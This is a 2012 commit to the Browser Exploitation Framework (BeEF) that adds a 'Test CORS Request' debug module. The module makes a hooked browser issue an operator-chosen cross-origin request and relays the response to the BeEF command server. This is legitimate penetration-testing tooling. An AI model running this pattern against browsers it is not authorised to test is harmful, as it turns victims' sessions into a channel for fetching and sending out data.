Add beef.net.cors.request

Returns a response object with HTTP status, headers and body

Add 'Test CORS Request' debug module
This commit is contained in:
bcoles
2012-11-26 02:50:27 +10:30
parent da08911080
commit 3152f41a18
5 changed files with 138 additions and 5 deletions

View File

@@ -0,0 +1,16 @@
//
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var method = "<%= @method %>";
var url = "<%= @url %>";
var data = "<%= @data %>";
beef.net.cors.request(method, url, data, function(response) { beef.net.send("<%= @command_url %>", <%= @command_id %>, "response="+JSON.stringify(response)); });
});

View File

@@ -0,0 +1,15 @@
#
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
test_cors_request:
enable: true
category: "Debug"
name: "Test CORS Request"
description: "Test the beef.net.cors.request function by retrieving a URL."
authors: ["bcoles"]
target:
working: ["ALL"]

View File

@@ -0,0 +1,23 @@
#
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Test_cors_request < BeEF::Core::Command
def post_execute
content = {}
content['response'] = @datastore['response']
save content
end
def self.options
return [
{'name' => 'method', 'ui_label' =>'Method', 'type' => 'text', 'width' => '400px', 'value' => 'POST' },
{'name' => 'url', 'ui_label' =>'URL', 'type' => 'text', 'width' => '400px', 'value' => 'http://graph.facebook.com/fql?q=SELECT%20url,total_count%20FROM%20link_stat%20WHERE%20url=%27http://beefproject.com/%27' },
{'name' => 'data', 'ui_label' =>'Data', 'type' => 'text', 'width' => '400px', 'value' => 'postdata' },
]
end
end